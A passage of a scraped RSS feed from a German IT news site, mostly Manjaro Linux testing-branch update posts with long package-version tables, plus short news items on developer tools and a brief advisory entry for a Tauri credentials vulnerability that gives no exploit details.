          qemu-system-riscv-firmware              8.2.0-1                    -
                      qemu-system-rx              8.2.0-1                    -
                   qemu-system-s390x              8.2.0-1                    -
          qemu-system-s390x-firmware              8.2.0-1                    -
                     qemu-system-sh4              8.2.0-1                    -
                   qemu-system-sparc              8.2.0-1                    -
          qemu-system-sparc-firmware              8.2.0-1                    -
                 qemu-system-tricore              8.2.0-1                    -
                     qemu-system-x86              8.2.0-1                    -
            qemu-system-x86-firmware              8.2.0-1                    -
                  qemu-system-xtensa              8.2.0-1                    -
                          qemu-tests              8.2.0-1                    -
                          qemu-tools              8.2.0-1                    -
                      qemu-ui-curses              8.2.0-1                    -
                        qemu-ui-dbus              8.2.0-1                    -
                qemu-ui-egl-headless              8.2.0-1                    -
                         qemu-ui-gtk              8.2.0-1                    -
                      qemu-ui-opengl              8.2.0-1                    -
                         qemu-ui-sdl              8.2.0-1                    -
                   qemu-ui-spice-app              8.2.0-1                    -
                  qemu-ui-spice-core              8.2.0-1                    -
                           qemu-user              8.2.0-1                    -
                    qemu-user-binfmt              8.2.0-1                    -
                    qemu-user-static              8.2.0-1                    -
             qemu-user-static-binfmt              8.2.0-1                    -
                 qemu-vhost-user-gpu              8.2.0-1                    -
                              thunar             4.18.9-1            4.18.10-1
                                toot             0.40.0-1             0.40.2-1
         v2ray-domain-list-community     20231223093928-1     20231228114109-1
                                vcsh              2.0.5-1              2.0.7-1
                             web-ext              7.8.0-1              7.9.0-1
                             wlroots             0.17.0-1             0.17.1-1
                           xarchiver           0.5.4.21-1           0.5.4.22-1
                      xarchiver-gtk2           0.5.4.21-1           0.5.4.22-1
            kernel-hardening-checker                    -              0.6.1-1


:: Different overlay package(s) in repository kde-unstable x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2023-12-29           2023-12-31
-------------------------------------------------------------------------------
                        akonadi-mime23.08.4.r1970.gf5d6fc5-123.08.4.r1971.gc43df99-1
                           alligator23.08.1.r662.g7f80aba-123.08.1.r663.g5fa25a8-1
                                 ark23.08.4.r5280.g329af32a-123.08.4.r5281.ge1734deb-1
                         audiocd-kio23.08.4.r1289.g17e693b-123.08.4.r1290.g43844d4-1
                                bovo23.08.4.r929.gd3fb1e3-123.08.4.r930.g11828a6-1
                             dolphin23.08.4.r7758.g12e8dbe8c-123.08.4.r7762.g35058d939-1
                               elisa23.08.4.r3623.g6e05fc25-123.08.4.r3624.gf5e52c8d-1
                          elisa-qtmm23.08.4.r3623.g6e05fc25-123.08.4.r3624.gf5e52c8d-1
                           granatier23.08.4.r1127.g8e843bd-123.08.4.r1129.g94a983d-1
                             kajongg23.08.4.r4518.ga9050a25-123.08.4.r4519.geed3368f-1
                              kapman23.08.4.r803.g6839f4a-123.08.4.r804.g46ae447-1
                               kasts23.08.1.r1480.g09b866d-123.08.1.r1481.g30fadd1-1
                             katomic23.08.4.r1121.g6f9fb44-123.08.4.r1123.gb39cfbc-1
                               kauth5.113.0.r617.gdc03206-15.113.0.r620.geeea73f-1
                           kbreakout23.08.4.r1064.g72d76f9-123.08.4.r1065.g1574693-1
                         kcharselect23.08.4.r703.g1adec51-123.08.4.r704.geb97d34-1
                              kclock23.08.1.r1134.gce026299-123.08.1.r1135.gfb0f8c96-1
                        kcolorscheme5.113.0.r170.g01f5459-15.113.0.r171.gb871171-1
                            kdenlive23.08.4.r19220.gcbfedf203-123.08.4.r19225.gbc585037a-1
                             kdialog23.08.4.r1439.g23bd288f7-123.08.4.r1443.ge90452e4a-1
                            keysmith23.08.1.r562.g4eeaefa-123.08.1.r564.g60c44f5-1
                               kfind23.08.4.r2899.g625bce588-123.08.4.r2902.gf637a7854-1
                         kfourinline23.08.4.r1184.g54cd5d0-123.08.4.r1185.g0c7cc29-1
                          kgeography23.08.4.r1336.g1596928-123.08.4.r1337.g9573b4d-1
                         kgoldrunner23.08.4.r1484.g57a6210-123.08.4.r1485.gb0c2ff4-1
                          kguiaddons5.113.0.r577.gf538195-15.113.0.r579.g184672d-1
                               ki18n5.113.0.r704.gd7333c8-15.113.0.r706.g092b0fc-1
                         kinfocenter5.27.10.r2602.gd50bb73a-15.27.10.r2603.g19fa0959-1
                                 kio5.113.0.r6799.g6be2b805e-15.113.0.r6805.g6fb695a0a-1
                           kirigami25.113.0.r4315.gd04e7b22-15.113.0.r4316.gfd870f60-1
                        kjumpingcube23.08.4.r994.g7a3c4d8-123.08.4.r995.g8e2573b-1
                      kmailtransport23.08.4.r2075.g4c2b802-123.08.4.r2076.g1fa1214-1
                                koko23.08.1.r980.gcd98773-123.08.1.r981.g37321f7-1
                         kolourpaint23.08.4.r2646.gd3e5d3af-123.08.4.r2647.g420c9770-1
                            kongress23.08.1.r436.g712417c-123.08.1.r437.ge0d8f68-1
                             konsole23.08.4.r9336.g398eba3e0-123.08.4.r9338.g4fe2779e1-1
                            kpackage5.113.0.r1008.g08796e9-15.113.0.r1009.gf703f2a-1
                                kpat23.08.4.r2858.g111db862-123.08.4.r2860.g2496eae8-1
                              kruler23.08.4.r941.ged27720-123.08.4.r943.g89a8416-1
                               ksirk23.08.4.r1279.gc63e970-123.08.4.r1280.gbe89fe0-1
                                ksvg5.113.0.r5124.g353a979b-15.113.0.r5125.g8543a55a-1
                          ksystemlog23.08.4.r949.g080fbed-123.08.4.r950.g502ee88-1
                            kteatime23.08.4.r894.gb68c6d8-123.08.4.r895.gb29b9b8-1
                         ktextaddons23.08.4.r1174.gf37816a-123.08.4.r1176.g5271ff0-1
                              ktimer23.08.4.r665.g516fb53-123.08.4.r666.ge4e9c0c-1
                               ktrip23.08.1.r511.g3f811e3-123.08.1.r512.g98f522a-1
                            kweather23.08.1.r1091.g60348f7-123.08.1.r1092.g63b3296-1
                      kwidgetsaddons5.113.0.r1261.g336a600b-15.113.0.r1262.g3bccb112-1
                                kwin5.27.10.r25846.gf294b06fa6-15.27.10.r25847.g577240c3db-1
                            libkcddb23.08.4.r898.gc2d4490-123.08.4.r899.g2087da5-1
                           libkdepim23.08.4.r1133.gb405e7e-123.08.4.r1135.g8588f99-1
                            libkgapi23.08.4.r1666.geaf0c3c0-123.08.4.r1667.g905401f4-1
                             libkleo23.08.4.r1882.g34dee403-123.08.4.r1884.gb56a2105-1
                           libksieve23.08.4.r2213.gd45dddf8-123.08.4.r2214.g2d988e22-1
                         libktorrent23.08.4.r660.g90e054d-123.08.4.r661.gcd83509-1
                          mailcommon23.08.4.r1641.gc21f8da9-123.08.4.r1643.gb0655ffb-1
                        mailimporter23.08.4.r737.g64852ca-123.08.4.r738.g5f23aff-1
                       marble-common23.08.4.r13817.g097554b5e-123.08.4.r13820.g1bd7a8b65-1
                           marble-qt23.08.4.r13817.g097554b5e-123.08.4.r13820.g1bd7a8b65-1
                  mauikit-imagetools3.0.2.r201.g6efb5c4-13.0.2.r202.gc47c1ec-1
                          messagelib23.08.4.r7621.g32cd34225-123.08.4.r7625.ga0a6b595c-1
                    plasma-phonebook23.08.1.r531.gad08d97-123.08.1.r534.g4e6ee7c-1
                      plasma5support5.27.10.r152.g9eb70f3-15.27.10.r153.g1d1f710-1
                             purpose5.113.0.r1197.gefcb546a-15.113.0.r1198.ga787208d-1
                          qmlkonsole23.08.1.r469.gcb532c1-123.08.1.r479.gb2f21c6-1
                  qqc2-desktop-style5.113.0.r917.gbef63ba-15.113.0.r919.g2e54873-1
                                sddm0.19.0.r250.gb002d02-10.19.0.r252.g5011292-1
                              sonnet5.113.0.r878.g09e866d-15.113.0.r880.g81f2a4c-1
                            spacebar23.08.1.r867.gd146367-123.08.1.r871.g8d77d7d-1
                           spectacle23.08.4.r2148.gbf6c2ca7-123.08.4.r2150.g815191d1-1
                                step23.08.4.r1410.g36533b1-123.08.4.r1411.gb36ac5e-1
                             svgpart23.08.4.r361.gaa15dd5-123.08.4.r363.g34ee3d0-1
                             sweeper23.08.4.r724.ga9bca62-123.08.4.r725.gf4e2889-1
                 syntax-highlighting5.113.0.r2493.gd42737bf-15.113.0.r2494.g856fce92-1
                         vakzination23.08.1.r394.gd4b550e-123.08.1.r396.gbc91f68-1
                                 juk                    -23.08.4.r3337.gb834d8a4-1


:: Different sync package(s) in repository multilib x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2023-12-29           2023-12-31
-------------------------------------------------------------------------------
                    lib32-fontconfig           2:2.14.2-1           2:2.15.0-1
</code></pre>
<p><a href="https://forum.manjaro.org/t/testing-update-2023-12-31-plasma-mobile-calamares-deepin-python/154321/1">Click to view the poll.</a></p>
<p>Check if your mirror has already synced:</p>
<ul>
<li><a href="https://repo.manjaro.org/">Mirror-Check Service</a></li>
</ul>
            <p><small>2 posts - 1 participant</small></p>
            <p><a href="https://forum.manjaro.org/t/testing-update-2023-12-31-plasma-mobile-calamares-deepin-python/154321">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Developer Snapshots: Programmierer-News in ein, zwei Sätzen]]></title>
<description><![CDATA[Unsere Übersicht kleiner, interessanter Meldungen enthält unter anderem TensorFlow, Vite, Kyverno, Fleet, Kubermatic, Spring Boot, Graph CLI, Django und APISIX.]]></description>
<link>https://tsecurity.de/de/1939987/it-nachrichten/developer-snapshots-programmierer-news-in-ein-zwei-saetzen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1939987/it-nachrichten/developer-snapshots-programmierer-news-in-ein-zwei-saetzen/</guid>
<pubDate>Fri, 24 Nov 2023 16:37:37 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Unsere Übersicht kleiner, interessanter Meldungen enthält unter anderem TensorFlow, Vite, Kyverno, Fleet, Kubermatic, Spring Boot, Graph CLI, Django und APISIX.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2023-46115 | Tauri 1.5.5 vite.config.ts TAURI_PRIVATE_KEY/TAURI_KEY_PASSWORD insufficiently protected credentials (GHSA-2rcp-jvr4-r259)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, was found in Tauri 1.5.5. Affected is an unknown function of the file vite.config.ts. The manipulation of the argument TAURI_PRIVATE_KEY/TAURI_KEY_PASSWORD leads to insufficiently protected credentials.

This vulnerability is traded as CVE-202...]]></description>
<link>https://tsecurity.de/de/1924731/sicherheitsluecken/cve-2023-46115-tauri-155-viteconfigts-tauriprivatekeytaurikeypassword-insufficiently-protected-credentials-ghsa-2rcp-jvr4-r259/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1924731/sicherheitsluecken/cve-2023-46115-tauri-155-viteconfigts-tauriprivatekeytaurikeypassword-insufficiently-protected-credentials-ghsa-2rcp-jvr4-r259/</guid>
<pubDate>Sat, 11 Nov 2023 17:21:27 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/?kb.risk">problematic</a>, was found in <a href="https://vuldb.com/?product.tauri">Tauri 1.5.5</a>. Affected is an unknown function of the file <em>vite.config.ts</em>. The manipulation of the argument <em>TAURI_PRIVATE_KEY/TAURI_KEY_PASSWORD</em> leads to insufficiently protected credentials.

This vulnerability is traded as <a href="https://vuldb.com/?source_cve.242994">CVE-2023-46115</a>. It is possible to launch the attack on the local host. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[JavaScript-Framework Next.js 14 erlaubt ersten Blick auf Partial Prerendering]]></title>
<description><![CDATA[Das Major Release bringt eine Preview für Partial Prerendering mit und stabilisiert Server Actions. Turbopack nähert sich der stabilen Version.]]></description>
<link>https://tsecurity.de/de/1908326/it-nachrichten/javascript-framework-nextjs-14-erlaubt-ersten-blick-auf-partial-prerendering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1908326/it-nachrichten/javascript-framework-nextjs-14-erlaubt-ersten-blick-auf-partial-prerendering/</guid>
<pubDate>Fri, 27 Oct 2023 14:22:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das Major Release bringt eine Preview für Partial Prerendering mit und stabilisiert Server Actions. Turbopack nähert sich der stabilen Version.]]></content:encoded>
</item>
<item>
<title><![CDATA[[Testing Update] 2023-09-30 - Systemd, Firefox, LibreOffice, AMDVLK]]></title>
<description><![CDATA[Hello community,
Another testing branch update with some usual package updates for you.

Get the lastest SoftMaker Office with ChatGPT buillt-in. You will find our Special Offer here!
Recent News:

Manjaro, like many other open-source projects, relies on the generosity of its community through do...]]></description>
<link>https://tsecurity.de/de/1899490/unix-server/testing-update-2023-09-30-systemd-firefox-libreoffice-amdvlk/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1899490/unix-server/testing-update-2023-09-30-systemd-firefox-libreoffice-amdvlk/</guid>
<pubDate>Fri, 20 Oct 2023 19:50:44 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello community,</p>
<p>Another <strong>testing</strong> branch update with some usual package updates for you.</p>
<p><img src="https://forum.manjaro.org/uploads/default/original/3X/4/2/42e8550ce72aa8ff000d704ed0fa0a698556b13e.jpeg" alt="image" data-base62-sha1="9xThw8e1scYGHvHqifKkf1T8ODQ" width="580" height="326"><br>
<em>Get the lastest <a href="https://www.softmaker.com/en/products/softmaker-office">SoftMaker Office with ChatGPT buillt-in</a>. You will find our <a href="https://softmaker.com/go/manjaro">Special Offer here</a>!</em></p>
<p><strong>Recent News:</strong></p>
<ul>
<li>Manjaro, like many other open-source projects, relies on the generosity of its community through <a href="https://manjaro.org/donate/">donations</a> and corporate sponsorships to support its growth and development. These <a href="https://manjaro.org/donate/">donations</a> are essential in covering the various expenses incurred in the operations of the project such as server costs, software development tools, infrastructure expenses, training, flying people to events or <a href="https://blog.manjaro.org/fosdem-2023/">conferences</a> and the salaries of key developers. With the help of these donations, Manjaro is able to secure the necessary financial stability that allows the project to continuously improve and remain active. If you love Manjaro, consider to <a href="https://manjaro.org/donate/">donate</a>!</li>
</ul>

Previous News
Finding information easier about Manjaro <a href="https://forum.manjaro.org/t/testing-update-2023-09-30-systemd-firefox-libreoffice-amdvlk/148854/1">(click for more details)</a>
<p><strong>Notable Package Updates:</strong></p>
<ul>
<li><strong>Systemd</strong> is now at <a href="https://github.com/systemd/systemd-stable/compare/v254.4...v254.5">254.5</a></li>
<li><strong>Firefox</strong> got renewed to <a href="https://www.mozilla.org/en-US/firefox/118.0.1/releasenotes/">118.0.1</a></li>
<li><strong>LibreOffice</strong> updated to <a href="https://blog.documentfoundation.org/blog/2023/09/26/lo-762-and-lo-757/">7.6.2</a></li>
<li><strong>AMDVLK</strong> is at <a href="https://www.phoronix.com/news/AMDVLK-2023.Q3.3-Released">2023.Q3.3</a></li>
<li>Usual <strong>KDE-git</strong>, <strong>Haskell</strong> and <strong>Python</strong> updates</li>
</ul>
<h2><a name="additional-info-1" class="anchor" href="https://forum.manjaro.org/#additional-info-1"></a>Additional Info</h2>

Python 3.11 info <a href="https://forum.manjaro.org/t/testing-update-2023-09-30-systemd-firefox-libreoffice-amdvlk/148854/1">(click for more details)</a>

Info about AUR packages <a href="https://forum.manjaro.org/t/testing-update-2023-09-30-systemd-firefox-libreoffice-amdvlk/148854/1">(click for more details)</a>
<p>Get our latest daily developer images now from Github: <a href="https://github.com/manjaro-plasma/download/releases">Plasma</a>, <a href="https://github.com/manjaro-gnome/download/releases">GNOME</a>, <a href="https://github.com/manjaro-xfce/download/releases">XFCE</a>. You can get the latest <a href="https://manjaro.org/download">stable releases</a> of Manjaro from <a href="https://cdn77.com/">CDN77</a>.</p>
<hr>
<p><strong>Our current supported kernels</strong></p>
<ul>
<li>linux419 4.19.295</li>
<li>linux54 5.4.257</li>
<li>linux510 5.10.197</li>
<li>linux515 5.15.133</li>
<li>linux61 6.1.55</li>
<li>linux64 6.4.16 [EOL]</li>
<li>linux65 6.5.5</li>
<li>linux66 6.6.0rc3</li>
<li>linux61-rt 6.1.54_rt15</li>
<li>linux64-rt 6.4.6_rt8</li>
<li>linux65-rt 6.5.2_rt8</li>
</ul>
<p><strong>Package Changes</strong> (Sat Sep 30 03:36:30 CEST 2023)</p>
<ul>
<li>testing core x86_64:  10 new and 10 removed package(s)</li>
<li>testing extra x86_64:  296 new and 397 removed package(s)</li>
<li>testing kde-unstable x86_64:  163 new and 162 removed package(s)</li>
<li>testing multilib x86_64:  8 new and 9 removed package(s)</li>
</ul>
<pre><code class="lang-auto">:: Different overlay package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2023-09-27           2023-09-30
-------------------------------------------------------------------------------
                             linux64             6.4.16-4             6.4.16-5
                     linux64-headers             6.4.16-4             6.4.16-5
                             systemd              254.4-3              254.5-1
                        systemd-libs              254.4-3              254.5-1
                  systemd-resolvconf              254.4-3              254.5-1
                  systemd-sysvcompat              254.4-3              254.5-1
                       systemd-ukify              254.4-3              254.5-1


:: Different sync package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2023-09-27           2023-09-30
-------------------------------------------------------------------------------
                               glibc               2.38-4               2.38-5
                         lib32-glibc               2.38-4               2.38-5
                              man-db             2.11.2-1             2.12.0-1


:: Different overlay package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2023-09-27           2023-09-30
-------------------------------------------------------------------------------
                            chromium     117.0.5938.132-1                    -
                             firefox            118.0.1-1                    -
                    firefox-i18n-ach            118.0.1-1                    -
                     firefox-i18n-af            118.0.1-1                    -
                     firefox-i18n-an            118.0.1-1                    -
                     firefox-i18n-ar            118.0.1-1                    -
                    firefox-i18n-ast            118.0.1-1                    -
                     firefox-i18n-az            118.0.1-1                    -
                     firefox-i18n-be            118.0.1-1                    -
                     firefox-i18n-bg            118.0.1-1                    -
                     firefox-i18n-bn            118.0.1-1                    -
                     firefox-i18n-br            118.0.1-1                    -
                     firefox-i18n-bs            118.0.1-1                    -
                     firefox-i18n-ca            118.0.1-1                    -
            firefox-i18n-ca-valencia            118.0.1-1                    -
                    firefox-i18n-cak            118.0.1-1                    -
                     firefox-i18n-cs            118.0.1-1                    -
                     firefox-i18n-cy            118.0.1-1                    -
                     firefox-i18n-da            118.0.1-1                    -
                     firefox-i18n-de            118.0.1-1                    -
                    firefox-i18n-dsb            118.0.1-1                    -
                     firefox-i18n-el            118.0.1-1                    -
                  firefox-i18n-en-ca            118.0.1-1                    -
                  firefox-i18n-en-gb            118.0.1-1                    -
                  firefox-i18n-en-us            118.0.1-1                    -
                     firefox-i18n-eo            118.0.1-1                    -
                  firefox-i18n-es-ar            118.0.1-1                    -
                  firefox-i18n-es-cl            118.0.1-1                    -
                  firefox-i18n-es-es            118.0.1-1                    -
                  firefox-i18n-es-mx            118.0.1-1                    -
                     firefox-i18n-et            118.0.1-1                    -
                     firefox-i18n-eu            118.0.1-1                    -
                     firefox-i18n-fa            118.0.1-1                    -
                     firefox-i18n-ff            118.0.1-1                    -
                     firefox-i18n-fi            118.0.1-1                    -
                     firefox-i18n-fr            118.0.1-1                    -
                  firefox-i18n-fy-nl            118.0.1-1                    -
                  firefox-i18n-ga-ie            118.0.1-1                    -
                     firefox-i18n-gd            118.0.1-1                    -
                     firefox-i18n-gl            118.0.1-1                    -
                     firefox-i18n-gn            118.0.1-1                    -
                  firefox-i18n-gu-in            118.0.1-1                    -
                     firefox-i18n-he            118.0.1-1                    -
                  firefox-i18n-hi-in            118.0.1-1                    -
                     firefox-i18n-hr            118.0.1-1                    -
                    firefox-i18n-hsb            118.0.1-1                    -
                     firefox-i18n-hu            118.0.1-1                    -
                  firefox-i18n-hy-am            118.0.1-1                    -
                     firefox-i18n-ia            118.0.1-1                    -
                     firefox-i18n-id            118.0.1-1                    -
                     firefox-i18n-is            118.0.1-1                    -
                     firefox-i18n-it            118.0.1-1                    -
                     firefox-i18n-ja            118.0.1-1                    -
                     firefox-i18n-ka            118.0.1-1                    -
                    firefox-i18n-kab            118.0.1-1                    -
                     firefox-i18n-kk            118.0.1-1                    -
                     firefox-i18n-km            118.0.1-1                    -
                     firefox-i18n-kn            118.0.1-1                    -
                     firefox-i18n-ko            118.0.1-1                    -
                    firefox-i18n-lij            118.0.1-1                    -
                     firefox-i18n-lt            118.0.1-1                    -
                     firefox-i18n-lv            118.0.1-1                    -
                     firefox-i18n-mk            118.0.1-1                    -
                     firefox-i18n-mr            118.0.1-1                    -
                     firefox-i18n-ms            118.0.1-1                    -
                     firefox-i18n-my            118.0.1-1                    -
                  firefox-i18n-nb-no            118.0.1-1                    -
                  firefox-i18n-ne-np            118.0.1-1                    -
                     firefox-i18n-nl            118.0.1-1                    -
                  firefox-i18n-nn-no            118.0.1-1                    -
                     firefox-i18n-oc            118.0.1-1                    -
                  firefox-i18n-pa-in            118.0.1-1                    -
                     firefox-i18n-pl            118.0.1-1                    -
                  firefox-i18n-pt-br            118.0.1-1                    -
                  firefox-i18n-pt-pt            118.0.1-1                    -
                     firefox-i18n-rm            118.0.1-1                    -
                     firefox-i18n-ro            118.0.1-1                    -
                     firefox-i18n-ru            118.0.1-1                    -
                    firefox-i18n-sco            118.0.1-1                    -
                     firefox-i18n-si            118.0.1-1                    -
                     firefox-i18n-sk            118.0.1-1                    -
                     firefox-i18n-sl            118.0.1-1                    -
                    firefox-i18n-son            118.0.1-1                    -
                     firefox-i18n-sq            118.0.1-1                    -
                     firefox-i18n-sr            118.0.1-1                    -
                  firefox-i18n-sv-se            118.0.1-1                    -
                    firefox-i18n-szl            118.0.1-1                    -
                     firefox-i18n-ta            118.0.1-1                    -
                     firefox-i18n-te            118.0.1-1                    -
                     firefox-i18n-th            118.0.1-1                    -
                     firefox-i18n-tl            118.0.1-1                    -
                     firefox-i18n-tr            118.0.1-1                    -
                    firefox-i18n-trs            118.0.1-1                    -
                     firefox-i18n-uk            118.0.1-1                    -
                     firefox-i18n-ur            118.0.1-1                    -
                     firefox-i18n-uz            118.0.1-1                    -
                     firefox-i18n-vi            118.0.1-1                    -
                     firefox-i18n-xh            118.0.1-1                    -
                  firefox-i18n-zh-cn            118.0.1-1                    -
                  firefox-i18n-zh-tw            118.0.1-1                    -
                        linux419-zfs            2.1.12-15             2.1.13-1
                        linux510-zfs            2.1.12-20             2.1.13-1
                        linux515-zfs            2.1.12-21             2.1.13-1
                         linux54-zfs            2.1.12-16             2.1.13-1
                         linux61-zfs            2.1.12-27             2.1.13-1
                   linux64-acpi_call             1.2.2-45             1.2.2-46
                    linux64-bbswitch               0.8-45               0.8-46
                 linux64-broadcom-wl      6.30.223.271-45      6.30.223.271-46
                linux64-nvidia-390xx           390.157-36           390.157-37
                linux64-nvidia-470xx        470.199.02-34        470.199.02-35
                      linux64-nvidia         535.113.01-2         535.113.01-3
                       linux64-r8168           8.051.02-7           8.051.02-8
                   linux64-rtl8723bu          20220818-45          20220818-46
                    linux64-tp_smapi               0.44-5               0.44-6
                 linux64-vhba-module          20211218-45          20211218-46
     linux64-virtualbox-host-modules            7.0.10-21            7.0.10-22
                         linux64-zfs            2.1.12-40             2.1.13-2
                            mangohud 0.6.9.1.r68.g0ae2e42-4                  -
               tuxedo-control-center              2.0.8-1              2.0.9-1
                            zfs-dkms             2.1.12-1             2.1.13-1
                           zfs-utils             2.1.12-2             2.1.13-1
                         linux65-zfs                    -             2.1.13-1


:: Different sync package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2023-09-27           2023-09-30
-------------------------------------------------------------------------------
                              amdvlk          2023.Q3.2-1          2023.Q3.3-1
                        ansible-lint             6.20.0-1             6.20.1-2
                            arp-scan             1.10.0-2             1.10.0-3
                              awxkit             23.1.0-1             23.2.0-1
                          cargo-deny             0.14.2-1             0.14.3-1
                          cargo-dist              0.2.0-1              0.3.1-1
                       cargo-nextest             0.9.58-1             0.9.59-1
                        cargo-update             13.0.4-1             13.1.0-1
                          cherrytree              1.0.1-1              1.0.2-1
                    chinese-calendar          1.0.3.r58-2          1.0.3.r58-3
                            chromium      117.0.5938.92-2     117.0.5938.132-1
                                code             1.82.2-2             1.82.2-3
                                crun              1.9.1-1              1.9.2-1
                             dbeaver             23.2.0-1             23.2.1-1
                          diesel-cli              2.1.1-1              2.1.2-1
               dolphin-emu 1:5.0.r19870.032c77b462-1 1:5.0.r19870.032c77b462-2
                                dolt             1.16.4-1             1.17.1-1
                          electron22            22.3.22-1            22.3.24-1
                     element-desktop            1.11.43-1            1.11.45-1
                         element-web            1.11.43-1            1.11.45-1
                             esbuild             0.19.3-1             0.19.4-1
                           fcitx-qt5             1.2.7-15             1.2.7-16
                           fcitx-qt6             1.2.7-15             1.2.7-16
                           fcitx5-qt              5.1.0-1              5.1.0-2
                             firefox              118.0-1            118.0.1-1
                    firefox-i18n-ach              118.0-1            118.0.1-1
                     firefox-i18n-af              118.0-1            118.0.1-1
                     firefox-i18n-an              118.0-1            118.0.1-1
                     firefox-i18n-ar              118.0-1            118.0.1-1
                    firefox-i18n-ast              118.0-1            118.0.1-1
                     firefox-i18n-az              118.0-1            118.0.1-1
                     firefox-i18n-be              118.0-1            118.0.1-1
                     firefox-i18n-bg              118.0-1            118.0.1-1
                     firefox-i18n-bn              118.0-1            118.0.1-1
                     firefox-i18n-br              118.0-1            118.0.1-1
                     firefox-i18n-bs              118.0-1            118.0.1-1
                     firefox-i18n-ca              118.0-1            118.0.1-1
            firefox-i18n-ca-valencia              118.0-1            118.0.1-1
                    firefox-i18n-cak              118.0-1            118.0.1-1
                     firefox-i18n-cs              118.0-1            118.0.1-1
                     firefox-i18n-cy              118.0-1            118.0.1-1
                     firefox-i18n-da              118.0-1            118.0.1-1
                     firefox-i18n-de              118.0-1            118.0.1-1
                    firefox-i18n-dsb              118.0-1            118.0.1-1
                     firefox-i18n-el              118.0-1            118.0.1-1
                  firefox-i18n-en-ca              118.0-1            118.0.1-1
                  firefox-i18n-en-gb              118.0-1            118.0.1-1
                  firefox-i18n-en-us              118.0-1            118.0.1-1
                     firefox-i18n-eo              118.0-1            118.0.1-1
                  firefox-i18n-es-ar              118.0-1            118.0.1-1
                  firefox-i18n-es-cl              118.0-1            118.0.1-1
                  firefox-i18n-es-es              118.0-1            118.0.1-1
                  firefox-i18n-es-mx              118.0-1            118.0.1-1
                     firefox-i18n-et              118.0-1            118.0.1-1
                     firefox-i18n-eu              118.0-1            118.0.1-1
                     firefox-i18n-fa              118.0-1            118.0.1-1
                     firefox-i18n-ff              118.0-1            118.0.1-1
                     firefox-i18n-fi              118.0-1            118.0.1-1
                     firefox-i18n-fr              118.0-1            118.0.1-1
                  firefox-i18n-fy-nl              118.0-1            118.0.1-1
                  firefox-i18n-ga-ie              118.0-1            118.0.1-1
                     firefox-i18n-gd              118.0-1            118.0.1-1
                     firefox-i18n-gl              118.0-1            118.0.1-1
                     firefox-i18n-gn              118.0-1            118.0.1-1
                  firefox-i18n-gu-in              118.0-1            118.0.1-1
                     firefox-i18n-he              118.0-1            118.0.1-1
                  firefox-i18n-hi-in              118.0-1            118.0.1-1
                     firefox-i18n-hr              118.0-1            118.0.1-1
                    firefox-i18n-hsb              118.0-1            118.0.1-1
                     firefox-i18n-hu              118.0-1            118.0.1-1
                  firefox-i18n-hy-am              118.0-1            118.0.1-1
                     firefox-i18n-ia              118.0-1            118.0.1-1
                     firefox-i18n-id              118.0-1            118.0.1-1
                     firefox-i18n-is              118.0-1            118.0.1-1
                     firefox-i18n-it              118.0-1            118.0.1-1
                     firefox-i18n-ja              118.0-1            118.0.1-1
                     firefox-i18n-ka              118.0-1            118.0.1-1
                    firefox-i18n-kab              118.0-1            118.0.1-1
                     firefox-i18n-kk              118.0-1            118.0.1-1
                     firefox-i18n-km              118.0-1            118.0.1-1
                     firefox-i18n-kn              118.0-1            118.0.1-1
                     firefox-i18n-ko              118.0-1            118.0.1-1
                    firefox-i18n-lij              118.0-1            118.0.1-1
                     firefox-i18n-lt              118.0-1            118.0.1-1
                     firefox-i18n-lv              118.0-1            118.0.1-1
                     firefox-i18n-mk              118.0-1            118.0.1-1
                     firefox-i18n-mr              118.0-1            118.0.1-1
                     firefox-i18n-ms              118.0-1            118.0.1-1
                     firefox-i18n-my              118.0-1            118.0.1-1
                  firefox-i18n-nb-no              118.0-1            118.0.1-1
                  firefox-i18n-ne-np              118.0-1            118.0.1-1
                     firefox-i18n-nl              118.0-1            118.0.1-1
                  firefox-i18n-nn-no              118.0-1            118.0.1-1
                     firefox-i18n-oc              118.0-1            118.0.1-1
                  firefox-i18n-pa-in              118.0-1            118.0.1-1
                     firefox-i18n-pl              118.0-1            118.0.1-1
                  firefox-i18n-pt-br              118.0-1            118.0.1-1
                  firefox-i18n-pt-pt              118.0-1            118.0.1-1
                     firefox-i18n-rm              118.0-1            118.0.1-1
                     firefox-i18n-ro              118.0-1            118.0.1-1
                     firefox-i18n-ru              118.0-1            118.0.1-1
                    firefox-i18n-sco              118.0-1            118.0.1-1
                     firefox-i18n-si              118.0-1            118.0.1-1
                     firefox-i18n-sk              118.0-1            118.0.1-1
                     firefox-i18n-sl              118.0-1            118.0.1-1
                    firefox-i18n-son              118.0-1            118.0.1-1
                     firefox-i18n-sq              118.0-1            118.0.1-1
                     firefox-i18n-sr              118.0-1            118.0.1-1
                  firefox-i18n-sv-se              118.0-1            118.0.1-1
                    firefox-i18n-szl              118.0-1            118.0.1-1
                     firefox-i18n-ta              118.0-1            118.0.1-1
                     firefox-i18n-te              118.0-1            118.0.1-1
                     firefox-i18n-th              118.0-1            118.0.1-1
                     firefox-i18n-tl              118.0-1            118.0.1-1
                     firefox-i18n-tr              118.0-1            118.0.1-1
                    firefox-i18n-trs              118.0-1            118.0.1-1
                     firefox-i18n-uk              118.0-1            118.0.1-1
                     firefox-i18n-ur              118.0-1            118.0.1-1
